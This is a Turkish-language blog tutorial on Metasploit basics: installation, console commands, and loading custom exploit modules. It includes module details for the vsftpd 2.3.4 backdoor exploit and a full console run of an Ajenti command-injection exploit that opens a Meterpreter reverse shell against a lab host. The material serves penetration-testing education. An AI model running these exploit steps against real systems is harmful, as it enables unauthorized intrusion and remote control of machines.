Metasploit Exploit Geliştirme - 2


Metasploit Framework

Metasploit sızma testlerinde en çok kullanılan exploit framework’üdür. İçerisinde exploitler, payloadlar, auxiliaryler ve encoderlerin bulunduğu bir altyapıdır. Ruby dili ile yazılmıştır.

Linux ve Mac OS X’de kurulumu

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

Kullanımı

msfconsole komutu ile başlatılır.

search modüller içinde arama yapmayı sağlar. Arama sonucunu daraltabileceğiniz parametrelere sahiptir. (help search)

info ile herhangi bir modül hakkında detaylı bilgileri inceleyebiliriz.
(info exploit/unix/ftp/vsftpd_234_backdoor)

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > info exploit/unix/ftp/vsftpd_234_backdoor

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Provided by:
  hdm <x@hdm.io>
  MC <mc@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   21               yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the
  VSFTPD download archive. This backdoor was introduced into the
  vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011
  according to the most recent information available. This backdoor
  was removed on July 3rd 2011.

References:
  OSVDB (73573)
  http://pastebin.com/AetT9sS5
  http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

msf5 exploit(unix/ftp/vsftpd_234_backdoor) >

use ile kullanılacak olan modül seçilir. (use exploit/unix/ftp/vsftpd_234_backdoor)

show

show komutu parametresiz olarak kullanılırsa metasploit içerisindeki tüm modüllerin listesini gösterir.
Herhangi bir tipteki modülleri görmek istersek show ile kullanarak o tipteki tüm modülleri görebiliriz. (show auxiliary)
show options ile seçili modülün değişkenlerini görebiliriz.
show payloads ile seçilebilecek olan payloadları görebiliriz.
show targets ile hedef türünü değiştirebiliriz.

set komutu ile parametreleri değiştirebiliriz. (set RHOSTS 192.168.1.14)
exploit komutu ile seçilen exploit’i çalıştırabiliriz.

msf5 > use exploit/unix/webapp/ajenti_auth_username_cmd_injection
msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > show options

Module options (exploit/unix/webapp/ajenti_auth_username_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8000             yes       The target port (TCP)
   SSL        True             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Ajenti == 2.1.31


msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set RHOSTS 172.16.172.154
RHOSTS => 172.16.172.154
msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set LHOST 172.16.172.1
LHOST => 172.16.172.1
msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > check
[*] 172.16.172.154:8000 - The target appears to be vulnerable.
msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > exploit

[*] Started reverse TCP handler on 172.16.172.1:4444
[*] Exploiting...
[*] Sending stage (53755 bytes) to 172.16.172.154
[*] Meterpreter session 1 opened (172.16.172.1:4444 -> 172.16.172.154:34840) at 2019-12-15 16:22:04 +0300

meterpreter >

Dışarıdan indirilen bir modülü Metasploit ile kullanmak için modules/exploits adında dizin oluşturup .rb dosyası oluşturulan dizinin içine atılır.

mkdir -p modules/exploits
cd modules/exploits
nano ajenti_test.rb

Metasploit’de loadpath /home/user/Desktop/modules şeklinde oluşturduğunuz yol eklenir.

msf6 > loadpath ~/modules
Loaded 1 modules:
    1 exploit modules
msf6 > use exploit/ajenti_test
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(ajenti_test) >

Eklenen modül içerisinde değişiklik yapıldığında bu değişikliğin geçerli olması için “reload” komutu çalıştırılır.

Eğer eklediğiniz modülün her Metasploit çalıştığında otomatik olarak içeri aktarılmasını isterseniz ~/.msf4/modules altına atmanız gerekir. Buraya atılan modüller açılışta otomatik olarak içeri aktarılır.

cd ~/.msf4/modules/exploits
nano ajenti_test.rb
cd ~/tools/metasploit-framework/
metasploit-framework git:(master) ./msfconsole -q
msf6 > use exploit/ajenti_test
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(ajenti_test) >




Onur ER
Onur ER
Onur ER
comments powered by Disqus